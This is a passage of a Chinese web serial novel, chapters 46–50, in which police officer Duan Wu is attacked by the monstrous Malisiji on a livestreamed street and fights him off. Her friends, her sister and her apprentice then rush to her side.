这位工程师用枪的年头可不少哦。 崔雪松收回手时,看了看自己虎口和手指上的薄茧。 “端警官可能不太了解我们朝暮星,如果身上的技能少,那活着可就太难了。这不也是被逼的文武双全了。” “还真是难为了崔工程师了,或者说是崔某长?”端戊嘴角微扬,好在对方还是个坦荡的。 “小小班长,在端局面前,不值一提……”崔雪松嬉笑着和端戊客气。在部队长大,和端戊这种警校毕业的还是不太一样,举手投足间痞气外泄。 “行了,你俩别在这互捧了,之前见过了?崔雪松,我发小……”康屿安最清楚这俩人都是什么样的,看着都替她俩累的慌。 “青梅!青梅!呵呵!”崔雪松皮笑肉不笑,她可不愿意轻易放过端戊,我的花啊我的盆,我一起长大的康屿安啊。 康屿安还能不知道崔雪松的小心思,眼刀飞过去都没刀住她那张贱嘴。 “这是端戊,是我……”康屿安突然发现,她和端戊的关系有点不明了。 说是朋友,谁家朋友会亲亲抱抱?说是情侣,她俩还没有朋友熟悉。 端戊的耳朵动了动,她有点好奇,有点期待,康屿安是怎么定位她俩之间的关系的。 “她是端妈的女儿,端妈是我在地球上的妈妈。”康屿安回答的滴水不漏。 端戊算不上失望,可那根本也不是她想要听的答案啊。 “哦哦,好姐妹。”崔雪松了然地假笑,她是丁点挤兑端戊的机会都不想放过。 “发小也算自家人了,没什么好客气的。来都来了,你就在这陪康屿安吧,我单位还有事,先回了。” 端戊单位确实乱地如麻如粥的,这种时候还能陪康屿安出来,亏得师父慈爱、徒弟懂事。 然而这会儿,端戊觉得自己好像可有可无呢? 或许自己本身就这么可有可无吧? 难过,说不上,就是觉得空落落的。 她没再看康屿安,只看了一眼崔雪松手里的五色花。 康屿安看着端戊就这么什么也不问,又好像什么都不在意的就走了,突然发现其实自己也没多重要。 “重要是什么感觉?朋友是什么感觉?”叶白最近老老实实地养开了花的屁股,太闲太无聊。 她竟然学会惆怅人生、衡量价值了。 新管家玲珑人如其名,长了一颗八面玲珑心,一副笑面虎的脸。 “重要哪里是什么感觉呀,您就是重要,重要就是您呐!”玲珑的蒜瓣鼻都快笑开花了。 “我妈忙什么呢?好久都没看到她了……”叶白不知道叶意秦想不想她,反正,她想妈妈了。 她家很奇怪,若说爸爸不爱她,却把她宠上了天。只要她喜欢,她想要,星星月亮都肯花钱帮她搞定。 可是若说爱她,更像是因为她是叶意秦生的。 妈妈也是一样,若说不爱她,无论她怎么作,哪怕把天捅个窟窿,她都能替自己补上。 厉害的像女娲,在叶白眼里是神一样的存在。无所不能,就是不能像别人的妈妈一样爱她,总是淡淡的,总是很忙。 “白老大,马利斯基醒了。”哥布林人 一样高的镇北,站在丰满婀娜的玲珑旁边,画面格外的有喜感。 “醒了?好!看来钱还是没白花。以后这个折空转移用处可大了。可惜这会儿端戊应该在清异局,那地方,太不好动手……” 叶白窝在沙发里,都萎靡的长毛了,终于能干点坏事了。 “钱有没有白花……还不好下定论。”镇北是真的不想扫叶白的兴啊,可是叶白高兴的确实是早了点呢。 “怎么呢?什么意思?”叶白顿住了兴冲冲的脚步。 “马利斯基从前只是脑子不好,现在好像是疯了。”虽然听起来是差不多,事实上差远了。 脑子不好更容易掌控,疯了就不一样了,那是要脱离掌控啊! 两个人没想到,就这么一会儿,马利斯基就成功脱离了。 与其说他是疯了,不如说是在折空转移中,脑神经受损了。他现在相当于一个杀伤力不可控的孩子。 脑子虽然受损,谁杀了他哥这事儿是一点没忘。 马利斯基出了房间四处溜达,看哪都新鲜。从小长在屠宰场,他生命中的颜色似乎只有不同的红色和灰黑色。 颜色控的别墅和调色板有一拼。马利斯基这才知道,这个世界上原来还有这么多的颜色。 路过中控室的时候,他听到了一个名字:端戊。 眼底瞬间就充血了,五彩缤纷的别墅在他眼里变成了他长大的屠宰场。 “端戊在哪?告诉我端戊在哪?”马利斯基忽地推开了中控室的门。 看到突然闯进来的嗜血野人,里面的安保吓得从椅子上弹起、跳到了一边,手指哆嗦着指向屏幕:“在、在那。” 与此同时康屿安突然打了个冷战,心跳突然就变快了,指尖冰凉。 “怎么了?天塌下来都不怕的劲儿哪去了?一个端戊就把你吓成这个样子?” 崔雪松把五彩花还给康屿安,敏锐的察觉到她像是突然从夏天跨入了冬天,体温骤降。 “我怕什么!我就是莫名的心慌,怎么就让她一个人回去了呢?”按理说自己不是端砚,既和端戊没有什么血脉相连的感应,也没什么超越双胞胎的预知。 可是从端戊离开,她的心就像从台阶上一阶一阶滚落,咯噔咯噔的心悸,眼皮也突突乱跳。 “马上就到你了,瞳视办完了我就把你送回去!看你这点出息,一会儿看不见都不行啊!”崔雪松恶狠狠地去薅花瓣,被康屿安一巴掌拍到了一旁。 “还不都是你难为人家,要不然能走吗?”康屿安把五色花紧紧抱在怀里,想让花香安抚一下心绪。 “咱家从小到大娇养的花就让她这么连盆端走了,娘家人屁都不能放一个了?我要是怂了,以后她就能肆无忌惮的欺负你!” 崔雪松绷起了国字脸,康屿安的爸妈不在身边,自己就是她的依靠。 “她不会……” 不单单是康屿安,端砚的太阳穴也在跳。 “妈,我姐这会儿不是应该在单位吗?她那里安全的苍蝇都不能囫囵个进出的,不应该有啥事啊?不行,我还是联系一下我姐吧!”端砚像是坐在了钉板上,一刻都不消停。 而端戊的瞳视,只有断联的嘟嘟声。 47.第 47 章 只要人是清醒的,瞳视就不会断联,它会根据设置回复对方。 端戊断联,说明她失去了意识。 端砚第一个怀疑的是全息捕识仪,毕竟康屿安中过招,可那对端戊来说应该是毫无杀伤力。 人家只是异能不常用,不能当人家异能不存在吧。好歹也算得上意识猎人,只有她控制别人的份儿,又怎么可能意识被控? 端砚彻底坐不住了,骑着银河就出门了。 与银河同‘端戊线’出来的小乌龟系统,毫不吹牛的说,安全指数可以达到地球领导座驾级别。 出现交通事故的概率微乎极微。如果前后左右同时有车撞过来,还有端戊装的飞行系统呢。 倒不是说乌龟真的飞上天,它有跳跃式滑轮支架可以升降,越过几个障碍还是没问题的。 小乌龟车就有这么厉害,要不然,辛瑙什么没见识过,还不是羡慕的不得了。 端戊怎么也想不到,打败小乌龟的不是技术,而是蛮劲儿。 尽管之前见过马托斯基的,呃死的。当浑身是毛、穿衣服都显得多余的马利斯基,猛地冲到小乌龟前面时,端戊的第一反应是动物园里跑出来个啥? 不管是啥,都得踩刹车吧?爱护动物,人人有责。 一脚刹车下去,小乌龟自动切换了防撞模式,左右都有平行的车,后面的车更是跟得紧,没办法,小乌龟只能打开大长腿滑轮,准备跨越长毛野人。 谁知道,长毛野人一言不合就摔跤,抓住小乌龟前面的两条大长腿,在头顶就开始托马斯大轮圈。 技术流的小乌龟哪见过这个,没多久就被轮吐了,这个液那个水的都被甩得到处都是。 其他的车也都吓坏了,极其默契地挂倒挡,全速后退逃命,竟没发生任何碰撞。 也许马利斯觉得他自己卯足了劲儿了,也有可能是抡累了,嗖地就把小乌龟甩出去了。 即便小乌龟晕头撞向了,感知到危险时还是迅速做出反应的。 第一时间转换软质弹性体外壳,叽里咕噜滚出了很远,车里的端戊只是晕过去了,内伤、外伤一点都无。 马利斯基像一只兴奋的熊,狂奔过来。 一开始,他还能像个人一样,用力拉扯车门,试图把端戊从车里拉出来。 可是小乌龟启动了防盗系统,不但车门锁的死死的,还用强电流反击。 马利斯基被电的短暂蒙圈,晃了晃大脑袋就恼羞成怒了,高高举起小乌龟把它一撕为二。 失去保护的端戊,咻地从小乌龟里掉了出来,被安全带束缚着,像弹力蹦极似的,挂在残骸上晃悠。 “这是人吗?这是怪物吧?人怎么可能有这么大力气。”有胆子大的,把车退到安全距离,就没再走了,非要看看到底是怎么个事。 “超雄吧?在线的宝儿们,有没有谁见过这个的?知道这是什么吗?”还有更胆大的,已经打开瞳视的见所未见频道,开始直播线上求助。 转眼功夫,在线人数就已经几万人了,各抒己见的、胡说八道的、危言所听的,反正就是没有一个人知道这是个啥的。 “瞎说的吧?超雄又不是变异,这虽然是个小车,好歹也是个车,再超雄也不能这么轻易就举起、纸片似的就撕开了?” “该不会是外星球又研究什么生化玩意,送地球来了吧?” “不好说啊!秃鹫星最喜欢干这种损人不利己的事儿了。” “谁说不是,还记得前两年不,研究出一个行走的病毒体,四处投放,最后还不是遭反噬了?” “这事谁不记得啊!没多久地球就研究出抗体了。结果呢,病毒传播回了秃鹫星,他自以为是自己研究出来的,配出个解药十拿九稳呢,结果病毒变异了,啥用没有。” “记得记得!不但没用,还毒上加毒,差点把自己星球祸害灭绝了。” “快点看,那个怪物想要干嘛?赶紧报警啊!” “早报了,警察应该快来了,可千万撑到警察来啊!” 直播间瞬间就飙升为TOP1,出现了罕见的人挤人、人踩人现象。但凡被挤出去,那就被踩在脚下再也进不来了。 今天见所未见频道真是名副其实了。上到八十最,还是下到十八岁,没有一个人见过这场面。 别看马利斯基拆车时挺有劲,碰到了安全带也是抓耳挠腮,那点蛮劲用尽,也没扯断。 就在他打算就在这解决了端戊时,小乌龟残骸被转了个方向,被马利斯基扯了一下安全带,端戊竟然滑下来了。 马利斯基愣了一下,反应了好一会儿,才把端戊从地上捡起来。 这时候,直播间已经有大聪明看出了他的不对劲儿。 “这个大家伙就是单纯的有蛮力,迟钝得很啊。” “是的啊,可惜昏迷了,要不然有点身手的,哪怕灵活一点,都有机会逃生呢!” “哎呀妈呀,太吓人了,警察咋还不来呢?”一个尖锐惊惧的声音,穿透星格网链中心的嘈杂。 康屿安也是终于有了自己的瞳视,立刻连接了意识却犹豫了:第一个瞳视,打给谁呢?端妈还是端砚? 还是打给端戊吧……说到底是送自己来的,又一个人走的,自己好像谢都没来得及说呢。 “这不是端戊吗?”崔雪松声音不大,可这个名字,哪怕从蚊子嘴里说出来的,康屿安都听得见。 “在哪呢?”康屿安一眼十人的扫过人群,还真对得起崔雪松的那句‘没出息’。 “嘁!”恨铁不成钢的一声叹息,崔雪松把康屿安拉过去,外屏共享给她看:“这个快要挂了的,是不是你家端戊?” 崔雪松语气平淡,康屿安只当她在开玩笑。 当她看到昏迷的端戊,像一个被扣掉电池的玩具,被一只怪兽从安全带里拉出来时,小耳朵又抽筋了,毫无规律的乱抖,心也跟着一起抽搐。 “你还在这看直播?赶紧救她去!” “又不是我揍的她,你和我凶什么。别动气,对身体不好,救她也要先知道她在哪吧,正找着呢!” 崔雪松慢悠悠的安抚康屿安,还真不是她不把端戊的命当回事,在她看来,这也算要命的事? 当然,如果真要了端戊的命,只能说端戊太弱,配不上康屿安。 那,死了就死了呗。 “找到了没,别说话了动作快点!”康屿安眼睛都不眨一下的盯着直播间,敲定音鼓似的拍着崔雪松的后背催促她。 “ 已经很快了,怎么比我领导还凶残……”狼也有收起獠牙、露出肚皮的时候,一般人根本没机会见到。 崔雪松的獠牙只有靠近康屿安的时候才会收起,她的肚皮,也只有康屿安见过。 “端戊怎么还不醒!”康屿安突然抓住崔雪松的衣服,平整的牛仔顿时就皱成康屿安那颗心。 她看着端戊一动不动,而马利斯基已经把她举过头顶,一只手拉着她的两个手腕,另一只手拉着她的两个脚腕,深吸一口气蓄力,就准备把她一撕为二。 直播间瞬间飘满了‘快醒醒’、‘啊救命啊’的弹幕,似乎这样就能帮上端戊了。 “来不及了,小松……怎么办……”康屿安绝望地垂下耳朵、闭上眼睛。 直播间里很多人也看不下去,也闭上了眼睛。接下来血腥的场面,都是必须打马赛克级别的吧? 就这么死了?崔雪松是不相信的,她拉近了视角,注视着端戊。 “呵呵……”刀片一样的薄唇抿成一条线,声音幽幽:“我就说嘛,端警官哪有那么容易死。” “嗯?”康屿安倏地亮起她紫色小夜灯,屏住气靠近悬浮屏。 端戊像是杂技演员一样悬在半空,黑色的夹克衣襟垂下,整个画面都透着破碎感。 “你仔细看啊,手腕和脚腕……”崔雪松指引着康屿安注意细节。 端戊醉酒失去了意识一般,整个人软成了煮熟的面条。 除了崔雪松,直播间所有的人都以为端戊死了,只有死人才会软成面。行凶的马利斯基也是这样认为,甚至露出得意的黑黄牙。 “她能行吗?”康屿安猜到了端戊的意图,可是看到四处散落的小乌龟的残骸,她把心里能想到的神都麻烦了一遍。 “她行不行,你得问她啊!地方找到了,走吧!”崔雪松把悬浮屏调成动感模式,拉着康屿安就走。 “车停哪了?快点!”康屿安秒变小哪吒,反而是她拉着崔雪松在跑。眼睛盯着固定在眼前的悬浮屏。 屏幕里的端戊,把身体软到极限。马利斯基只顾着得意大笑,根本没注意他紧握端戊手脚的手已经出现了空隙。 端戊快速在空中一百八十度旋转,修长的手指并拢到比胳膊还细。 寻常人可能做不到,可是端戊大学几年修的就是柔派。当时选修的时候,单纯就是不想把自己练成大块头的死肌肉,没想到,还真是选对了。 这如果拼硬功夫,她还真拼不过这家伙。 马利斯基还蓄着力呢,端戊已经把双手抽出来了。 直播间里炸开了,全民偶像的人设就这么立下了。 “太帅了!” “谁看到了是怎么做到的?” “这简直是封神了?” “赶紧,赶紧,有没有拔出来的,这是谁啊!” “打他!打他!” 端戊又怎么会硬碰硬的打他呢?她又不是傻子。 目光锁定马利斯基的卸力穴,稳准狠的打了过去。 “这下稳了!” “全胜!“ 直播间又炸了。 康屿安做在车里,一对耳朵绷的像两个假耳朵。 只有端砚,小脸煞白的哭成了两道沟。 48.第 48 章 直播间里,热火朝天滚屏、发弹幕的,都是看热闹的陌生人。悬着一颗心,一口接一口倒吸冷气的,都是亲近的熟人。 一颗心在嗓子眼咚咚敲鼓的只有端砚了。比别人知道的多,自然就比别人忧虑的多。 哪有那么容易赢,后面凶险着呢。 如果说,今天的直播看得最高兴的肯定是叶白。端戊遇险,那都算得上叶白许愿应验了。 “疯子可是比傻子好用多了啊!你看看这战斗力,啧啧啧……无敌了。”叶白指着屏幕里的马利斯基,笑得露出了牙龈。 那得意的样儿,就好像康屿安已经是她的囊中物,她做过的那些事再无人查,还真以为她又可以肆意妄为了呢。 “即便端戊掌握了不少证据,也都是那些外星人干的,和咱们也没有直接关系。她一个管外星人的警察,管得着咱们吗?那些说了能算都,已经被您父亲安排妥当了。” 谄媚之花玲珑其实想说的是,您非要费那么大劲干死一个警察干嘛?这不是没祸找祸嘛,而且还要惹个大的。 这点银两赚的真难:今天不僭越,明天就会被连累,弄不好还要背口锅。 玲珑这点小心思,叶白又怎么会不知道。她妈不过是换个人来看着她。 “玲珑管家知道我最喜欢什么颜色吗?”叶白翘起腿,饱满的杏仁眼里全都是你懂个屁。 “颜色……白色吧?”这个玲珑还真不知道,只能睁着眼睛蒙。 叶白的衣食住行分别有不同的管家负责,而她就很不凑巧的忽略叶白喜欢什么颜色了。 作为管家团队的老大,马屁拍的再好,也抵不过失职的错。 “是紫色!越是浓郁,越是喜欢!”叶白抬起脚,晃悠着脚上的紫色袜子。 玲珑使劲咬了一下舌头小惩为戒:妥妥的开卷没看到答案! “那你知道我最不能容忍什么事情?”叶白审视地看着玲珑。 “容忍不了你有的别人也有。”四个生活管家每天不重样地吐槽叶白难伺候,这个,想不知道都难。 尤其是负责穿搭的小管家,二十岁出头,头发白了一半。撞衫是叶白最大的忌讳,却是最容易犯的错误。 “你看康屿安,紫色的,又是朝暮星最后的紫耳朵精灵。既符合我的审美、又满足我的需求,我怎么可能放过她?可她不是我的,我是不是就得想办法,让她变成我的?” 夺人所爱,还要害人性命,确实不是人能干出来的事。 “懂了,这样一说,就都通了。”玲珑心里咋想的一点不重要,情绪价值不缺斤少两就行。 孰重孰轻她还是分得清的,要不然就得像端戊一样追悔莫及。 能让懒到长蘑菇的辛瑙大半夜专门跑来提醒她的,怎么能是小事儿?怎么能轻了?怎么能不放在心上? 要不然怎么能这么被动。端戊抽空瞄了一圈,还有不要命的人民群众在围观,可不能丢了警界颜面。 如果让端戊知道,半城的人都在直播间里看着她呢,速度更得拉满,空气都能被她打出窟窿来。 马利斯基被打了卸力穴,犹如被按了暂停键,整个人呆傻的站在那里,手上的力气也卸去了。 端戊略微有点迷惑,卸的是力又不是魂?难道是…… 端戊趁机收回腿,顾上不像是刚被毛毛虫爬过的不适感,助跑两步旋身侧腿、踢向他一边的脸。 只能尽量找他的薄弱点,前胸后背这些地方想别想了,那不得铁板似的。 “帅啊!看不出来高高瘦瘦的女孩子,有两把刷子!” “不是普通人吧,看起来像是国家队……” 直播间戛然而止,网警发现了不对劲,直接封了直播间。 其实,端戊武力值也算的上童子功了。 只不过端妈是为了端砚在外不被欺负,全都是自保招式。在学校她更是为了应付考试,上有政策下有对策。 功夫学过,苦没太吃。 所以她打架只能靠巧劲,有些时候还需要提前在脑子里翻出来重温一下。 其实她早醒了,只是眯着眼观察了一圈,把学的那些稀碎还有点杂的武学往一起拼凑拼凑。 她不喜欢冒险的事,不愿意做没什么把握的事。 没想到今天发挥的还可以,小山似的大块头被她踢了个趔趄。这让端戊信心大增,还不等对方站稳,就脚尖落地、轻点借力后再次飞身朝脖子踢去。 马利斯基正暂停着呢,端戊又加了些力气,脖子也更薄弱了些,一脚下去又踢退了好几步。 “嗯?一点都不反抗不拒捕的吗?”单方面输出就没意思了,传到网络上也有损颜面吧?端戊摸出磁力束缚过去准备把马利斯基先铐起来。 “散了、散了,没意思。”吃瓜观众已经有启动车子的了。 “坏了,端戊大意了。”正在开车的崔雪松突然拍了一下方向盘。 “怎么办?”康屿安这会儿智商被担心锁得死死了,问得最多的就是怎么办了。 所有的车子都在陆续离开的时候,只有一辆小货车缓缓的向前行驶。 “你这是袭警你知道不?走吧!跟我回去慢慢交代!”端戊上下扫描了确定了这是斯洛鄂星球的。 端戊又困惑了:按理说那是友星,两个星球上千年都没发生矛盾了。 “砰!”被撕裂成两块废铁、摞在一起的小乌龟,不忍重负的就掉下来了,像是预示着什么。 “唉!你要了我小绿豆的命,我还得留下你的命……”端戊是真的心疼,小乌龟对她来说是伙伴,一路陪她成长。 马利斯基锈住的大脑,慢慢启动运转了,缓缓转身循着声音在找人。 别看他脑里全是锈,想转也转不动,动作却快如疾风。嘴还没动,人已经到了端戊的身后,残影还在原地站着呢。 “端戊!”本就不清透的声音又闷了许久,突然站在她身后喊她的名字,端戊汗毛咻地就立起来了,又被冷汗刷洗了一遍。 “呃……”还没回头,后心位置传来巨痛,这是想一招致命,奔着心脏来的啊。 可是怎么没透心凉呢,她不比小乌龟脆弱多了? “呜呜呜呜……”马利斯基含糊不清的声音在一点点后移。 端戊感觉到有细热的小溪流一直流到后腰,今天腰带系的紧,溪流全数拦下来了。 这会儿哪有时间心疼自己,快速转身一脚过去,嗯?踢空了。 她看到马利斯基脖子套着控制钢圈,被一辆小货车拖着一点点向后退去。 这是谁的大恩大德啊!端戊在心里把人家祖坟都感谢了一边,要不是火车司机出手相救,这会儿怕是噶成无心局长了。 辛瑙忙的脚打后脑勺,错过了她师父的英勇直播。没等回她师父,却等来了师父的妹。 “怎么了这是?哭成这样呢?谁欺负你了,和你瑙姐说!”辛瑙仗义的一拍胸脯。 只是,这称呼听起来咋这么孬呢? “我姐出事了,我联系不上她,你知道她在哪么?”端砚哭得上气不接下气,还炸开了一个鼻涕泡。 辛瑙赶紧上上下下的摸口袋找纸巾,幸亏端砚是小女孩,但凡是个大姑娘……咦,不敢想。那妥妥的得从自己菜盘子里挑出去了。 “别急啊,你姐陪康屿安去办瞳视了,光天化日、光溜大路,那么多双眼睛看着呢,能出啥事……” 辛瑙没继续往下说,却打了个寒颤。她突然想起了尤里,虽然命还在,可是一直手臂已经废了。 “有人开了直播,我姐被一个怪物抓住了,那个怪物最后一定会把我姐拆得血肉模糊的,我们得去救她!”眼泪鼻涕糊成一片的端砚拉住辛瑙的袖子。 从前辛瑙最看不了这个,平时家族聚会,族里流鼻涕的小孩想接近她,门儿都没有。 可是这样的端砚靠上来,她竟没有生理性抗拒,还能用好不容易找出来的半块纸巾,为她擦鼻涕。 咦?我为什么会有半张? “别哭,我的车和你姐的车是同根生系统,我一准儿领着你找到她。”辛瑙小心地捻着鼻涕纸扔进了垃圾桶,都捏出兰花指了。 “没用的,银河都搜索不到绿豆了,真的出大事了!哇……”端砚小大人似的脸上写满了绝望,张开大嘴就哭。 眼看着鼻涕泡又要哭出来了,辛瑙可再找不出来一点点纸了。 “别哭别哭……我还有办法!根据我对你姐的了解,我可以猜到从这到星格网链中心她必走的路……”辛瑙和端戊每天八到十个小时的相处可不是白处的。 “那还等啥呢?上来啊?”端砚顾不上哭了,一拍身后的位置,示意让辛瑙上来。 “那个,要不咱开车去?你先把银河放我们单位……”辛瑙试探着请示,却被无情的打断了。 “你嫌弃我的银河?它靠谱着呢,那些没脑子的车还真比不上它。”端砚的两个眼睛哭得像是刚被蜜蜂蜇了,泛着光透着亮的。 辛瑙没忍住笑了:“哪敢哪敢,我那个车,你姐也是给装了脑子的。再说,呃……我怕咱们回来的时候可能不是两个人哦。” 端砚的眼珠转了转:你说的好像对哦,想的还挺周到!” “唉,你如果被你姐骂多了,你也能这么周到。”辛瑙也不知道严师出高徒是从哪谣传出来的,只要一想起来,她就恨的牙痒痒。 “我姐不骂我……” “到底是亲的……” “她都是打我的。” “不亲也没什么不好。” “别废话了,开快点吧,我怕我姐坚持不住。” 端砚一语成谶,端戊还真就坚持不住了。 49.第 49 章 表面上看,是小货车神气十足的牵制住了马利斯基。端戊知道,其实是人家没来得及搭理它呢。 顾不上后背的伤到底是个大窟窿还是大翻口,忍着痛用最快的速度跟上去,不管咋样也得先用拷上他。 “马利斯基,看这里!”端戊尽量吸引他的注意,她害怕货车司机有危险。 实在是控境对他也起不了多大的作用,端戊醒来时的第一件事就是控马利斯基,没想到只是让他暂停来一小会儿。 马利斯基的意识混乱程度,已经不是一般脑洞能想到的。可能他自己都不知道哪个才是真正的他,更何况是别人了。 看到控境失败了,端戊是有一些沮丧的。 她也是最近才发现,从前是陷入了新手膨胀期。 让她一度以为自己入行及满级,把自己异能预估的过于神通广大了。认清真相时如遭雷击,终于承认了那点小能耐算个屁。 而今天,彻底从自负之巅陷入了失望之谷。 “糟啦,快撤!”没等端戊走近,马利斯基提前觉醒了,正暴怒着抓住了连着货车的锁链。 小货车可没有小乌龟那样的护卫系统,这如果被甩出去,五脏庙都得塌了。 货车司机也看出了情况不妙,牵制对方的铁链现在成了自己的勾魂索。端戊话音未落,货车已经腾空而起了。 端戊彻底忘了后背的伤,她的职责是保护人类,不是让人类为自己牺牲的。 “嘿!你不是要杀我吗?我在这呢!”端戊更玩命地吸引他的注意力,来延迟他的动作。 打了这么久,端戊已经摸索出了些马利斯基的秉性,这货儿就是个单细胞动物,他无法同时做两件事,哪怕是想要说话,也得先停下来手上的动作。 果不其然,马利斯基动作一滞,刚被提起的小货车就掉下来了,问题不大,五脏六腑颠了一个屁墩儿。 趁着马利斯基看着她愣神,估计在思索怎么能过来先杀了她吧。 端戊便如他所愿,先到了马利斯基面前,故技重施着踢他的卸力穴,打算先把货车救下来。 没想到马利斯基在打架这事儿上可不迟钝,同样的亏也不会吃第二次。 只见他双手握拳交叉接下了这一脚,端戊的小算盘落空了。 这还不算,马利斯基的魔爪还伸了过来。后背的伤适时的痛了,好似在提醒端戊这双爪子有多厉害。 不能硬碰硬就算了,还得防备着被抓住。 端戊后仰下腰堪堪躲过,单手撑地半蹲一个扫堂腿,试试能不能放倒马利斯基。 然而,并没有。 马利斯基可能把自己当成了巨人了,竟然抬起大脚朝端戊踩过来。 端戊就地一滚,躲过不知深浅的这一脚,顺势绕到了对方身后,一脚踹到了马利斯基的膝盖窝。 趁着马利斯基身体倾斜,端戊左手撑地,双脚踩着对方的小腿一路快速往上走。 走到对方的肩胛位置,一只脚猛地踢向马利斯基的风府穴,这货丢了骨头似的双腿酸软地歪下去。 趁着他腰膝酸软没法抵抗,端戊赶紧给他拷上了磁力束缚,再回头找小货车时,竟然只剩下车屁股和屁一样的尾气。 “什么年代了,还有人开这车呢?”端戊吐槽着,拿起自己的左手左右看。 刚刚她把手搭上马利斯基手臂的时候,明显感觉到手和身体的温度处于不同的空间。 就好像手在室内,而身体在室外。还是开着穹顶生态空调的室内,能调节的这个湿度可是不常见,有钱人家呢。 真不凑巧,端戊不久前还真就刚见过,虽然说用得起这种空调的人家也不只那一家,可是巧合多了,就不能再说是巧合了。 这样一来,端戊也想通了马利斯基上次是怎么凭空消失的。 “呜呜呜……啊!端戊!我要杀了你!”马利斯基像那些被他杀死的猪羊一样狠命挣扎,抬起头,能渗出血的眼睛恶狠狠的瞪着端戊。 那眼神,没个杀父之仇都瞪不出那种恨。 端戊看了看自己的手心,到目前为止,这双手也没沾过血呃。 “呜哇呜哇呜哇……” “吱……呲!” 警车和崔雪松的车前后脚同时抵达战场。 “端警官还活着,用不着我出手了。你自己过去吧,我就不下去了,这人多眼杂的,好歹我也是个卧底。” 崔雪松看到长毛壮士已然不再壮实了,被脸白如纸的端戊按下了地上,就想着先撤了。 虽然端戊在她眼里弱了点,应付这点事儿应该还可以的吧?要不然还真是不放心把康屿安交给她。 难不成以后还得指望康屿安天天带着她逃命? 康屿安随意的摆摆手:“走啦走啦!”头都不回就跑了,把车门摔的崔雪松呲着嘴一顿肉痛。 “唰……”辛瑙不早不晚的,刚好在康屿安从崔雪松车上下来时到了。 端砚眼里只能看到端戊,车刚停下就着急开车门,却被辛瑙一把按住了。 “别急,你看你的嫂嫂……”辛瑙感觉自己按住的是只小牛犊。 “说谁风骚呢!我还是个孩子!”端砚挥舞着小拳头,就要比划辛瑙的鼻子。 辛瑙被端砚的双标雷到一脸惊讶:这会儿又知道自己是个孩子了?不过,替人家向人家的妹官宣也确实不合适。 “把手放下!你看康屿安是从谁车里下来的?认识吗?”辛瑙接住端砚的小拳头,按了下去。 “车窗那么黑,我咋看得见!”端砚伸长了脖子用力看,不是说我姐和康屿安在一起的吗? “戴上这个看,动作快点,人家要走了。”辛瑙递给端砚一副类似于飞行员的眼镜,镜片漆黑。 “有耳朵的,还是白色耳朵,和康屿安是同一个地方来的嘛,还挺好看……”情窦还未开的年纪,心却被撞了一下。 狼的敏锐让崔雪松警觉的侧头看向端砚的方向,明知道对方看不到,淬了冰的压迫感还是让她呼吸一滞。 “让你认人,你干嘛呢?这人可是你姐的……劲敌!”辛瑙竟从一个小屁孩的脸上,看到了一脸花痴相。 有这么大魅力吗?完了,师父危了。 “哎呀,赶紧去看看我姐。”端砚只觉得辛瑙危言耸听了,明明是康屿安的朋友,朋友的朋友不都是朋友吗? 辛瑙和端砚跑到端戊旁边时,呆愣在一片混乱中,不知道自己是来早了还是来晚了,或者说 ,不用来? 两个自认为最了解端戊的人,都看出了她在那硬撑着。咬着牙扯起嘴角,真怕她用力过猛会晕过去。 受伤的是端戊,抱着哭成泪人的是康屿安在那安慰。 也真难为她了,嘴唇都白了,说出来的话却不能苍白一点。 康屿安两只无处安放的小手,悬在端戊的背后不敢落下。整个后背都是红色的,衣服还少了一块,翻开的肉像是张着大嘴在哭。 “不让你一个人回,就不会遇到这事了……”康屿安内疚了一路,见到端戊就像见到了听告解的神父,抱住她就开始忏悔。 “他就是来找我的,幸好你没和我在一起。别哭了,我这不是没事吗?”不管之前因为什么生气,生了多大的气,这一会儿,通通都不记得了。 康屿安整个人就在自己怀里,眼泪是真的,担心是真的。 “谁说的!我可以带着你跑啊!”康屿安吸溜着鼻子,厚重的鼻音反而让她看起来娇娇的。 “我是警察,怎么能看到罪犯就跑?本末倒置呢,嘶……”端戊被逗笑了,仿佛看到了老鼠追着猫在跑,不小心扯动了伤口。 可脸上的笑容一点未减:至少可以证明,康屿安是在意她的,哪怕一起面对危险,她也是愿意的。 虽然从前也曾一起历险,可那时她是不小心被拖下水的。 “疼了吧?救护车怎么还不来啊?”康屿安比自己受伤还要疼,焦急的四处张望。 “那个,端局,救护车被堵在路上了,您这伤的还挺严重的,要不我们送您去医院吧?”派出所的小警察等了很久了,终于有机会接上话了。 “姐,我和辛瑙陪你去医院,你怎么伤得这么重啊!呜呜呜……”端砚也终于能插上话了。 康屿安刚止住了眼泪,端砚就把眼泪续上了。 端戊真的没有力气再哄端砚了,一个眼神过去就把活儿交给了辛瑙。 “砚儿啊,你姐现在可是超级英雄了,你算是英雄妹妹,可不能用眼泪把你姐的英雄气概冲淡了。” 辛瑙这个机灵鬼,早有所准备的从车里带着一包纸过来,一张接一张的塞进端砚的小手里。 端砚还真的止住哭了,绕到端戊的身后,看看英雄背后痛的勋章。 “我担心死了,这和我看到的画面不一样呢,幸亏不一样,不应验最好了。”端砚结结实实松了一口气,虽然端戊也是受了伤的,但总好过被拆了吧。 “乖,没事了。”端戊拍拍端砚的小脑袋,看向辛瑙:“局里情况怎么样,有新发现吗?” 端戊的眼神有点复杂:油嘴滑舌哄小姑娘的伎俩太炉火纯青了,也不知道将来哪家的倒霉姑娘会被忽悠了去,只要不是我家端砚就行。 虽然辛瑙察觉到端戊的眼神怪怪的,也只当她伤太重、失血过多,疼迷糊了。 “有,那可太有了,师父你之前的猜测全证实了,还得是我师祖出山,应对方案都给你弄出来了,老给力了……”说起王校长,辛瑙眉毛都跳起来爵士。 “啊!” “快,麻醉枪呢!控制住他!” “躲开!前面的人都躲开!” 一片混乱打断了辛瑙,愣在那有点蒙圈。 50.第 50 章 从高到低的四个小脑瓜,像是被同一根牵引绳拖拽着,齐刷刷转向准备开走的警车。 不看不要紧,一看吓一跳。同时、同帧、同频地张大嘴巴,康屿安的精灵耳背到了脑后。 “什么情况?”辛瑙赶紧托住了下巴。 “不明显吗?”端砚有样学样,也托着下巴闭上嘴巴。 不知是马利斯基穴位上被踢的那一脚缓过来了,还是身体里哪个战斗人格又觉醒了。 谁也没看到他是怎么做到的,依然戴着磁性束缚的情况下,把一左一右两个警察的手撸下了一层皮。 趁着混乱又撞翻挡在他前面的一众人,直接朝着目标端戊就发射过来了。 关系好不好,爱的真不真,总要事儿上看的,尤其是在生死攸关的时刻。 辛瑙战斗力不行,忠诚度却高得逆天。想都没想,就展开了平时搬点东西都振翅的小细胳膊,挡在端戊面前。 “师父!快跑!” 师父现在肯定打不过啊,嘴唇都白了。 